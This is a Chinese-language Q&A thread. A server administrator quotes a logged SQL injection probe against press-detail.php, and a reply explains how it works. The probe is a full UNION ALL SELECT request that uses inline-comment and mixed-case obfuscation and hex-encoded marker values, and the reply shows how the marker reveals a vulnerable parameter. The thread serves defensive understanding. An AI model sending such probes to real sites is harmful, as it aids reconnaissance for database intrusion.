sql注入(inject)谁能给我解释一下这段代码

Question

我一直在我的一台服务器上看到这个 sql 注入(inject)/攻击，并且想知道它正在尝试做什么。我知道这是一种攻击，在谷歌搜索后我发现它被大量使用，但我没有看到它在做什么以及十六进制或二进制是什么的解释。这里是攻击

press-detail.php?id=999999.9+%2f**%2fuNiOn%2f**%2faLl+%2f**%2fsElEcT+0x393133353134353632312e39,0x393133353134353632322e39,0x393133353134353632332e39,0x393133353134353632342e39,0x393133353134353632352e39,0x393133353134353632362e39,0x393133353134353632372e39,0x393133353134353632382e39,0x393133353134353632392e39,0x39313335313435363231302e39,0x39313335313435363231312e39,0x39313335313435363231322e39,0x39313335313435363231332e39,0x39313335313435363231342e39,0x39313335313435363231352e39,0x39313335313435363231362e39,0x39313335313435363231372e39,0x39313335313435363231382e39,0x39313335313435363231392e39,0x39313335313435363232302e39,0x39313335313435363232312e39,0x39313335313435363232322e39,0x39313335313435363232332e39,0x39313335313435363232342e39,0x39313335313435363232352e39,0x39313335313435363232362e39,0x39313335313435363232372e39,0x39313335313435363232382e39,0x39313335313435363232392e39,0x39313335313435363233302e39,0x39313335313435363233312e39,0x39313335313435363233322e39,0x39313335313435363233332e39,0x39313335313435363233342e39,0x39313335313435363233352e39,0x39313335313435363233362e39,0x39313335313435363233372e39,0x39313335313435363233382e39,0x39313335313435363233392e39,0x39313335313435363234302e39,0x39313335313435363234312e39,0x39313335313435363234322e39,0x39313335313435363234332e39,0x39313335313435363234342e39,0x39313335313435363234352e39,0x39313335313435363234362e39,0x39313335313435363234372e39,0x39313335313435363234382e39,0x39313335313435363234392e39,0x39313335313435363235302e39,0x39313335313435363235312e39,0x39313335313435363235322e39,0x39313335313435363235332e39,0x39313335313435363235342e39,0x39313335313435363235352e39,0x39313335313435363235362e39,0x39313335313435363235372e39,0x39313335313435363235382e39,0x39313335313435363235392e39,0x39313335313435363236302e39,0x39313335313435363236312e39,0x39313335313435363236322e39,0x39313335313435363236332e39,0x39313335313435363236342e39,0x39313335313435363236352e39,0x39313335313435363236362e39,0x39313335313435363236372e39,0x39313335313435363236382e39,0x39313335313435363236392e39,0x39313335313435363237302e39,0x39313335313435363237312e39,0x39313335313435363237322e39,0x39313335313435363237332e39+and+'1'='1

我想知道为什么“999999.9”，什么是“0x39313335313435363237322e39”。当这种攻击起作用时，黑客将拥有什么信息或对数据库进行编辑。最后，这种攻击会一遍又一遍地运行导致服务器崩溃/崩溃吗？

对此代码的任何解释将不胜感激。

Answer 1

所以，因为它是 being used a lot ，所以我会提交我的答案。

在我看来，这些请求的目的是检查是否存在 sql 注入(inject)。这是尝试注入(inject)的查询部分:

999999.9 UNION ALL SELECT "91351456272.9","91351456272.9",...,"91351456272.9" and '1'='1

攻击者的目标是通过这种方式完成查询:

SELECT * FROM table WHERE field=999999.9 UNION ALL SELECT "91351456272.9","91351456272.9",...,"91351456272.9"

如果 field 未清理，并且仅当 UNION SELECT 中使用的列数与查询的列匹配时，很可能会在页面中的某处出现字符串 91351456272.9。

这将确认页面中的漏洞的攻击者。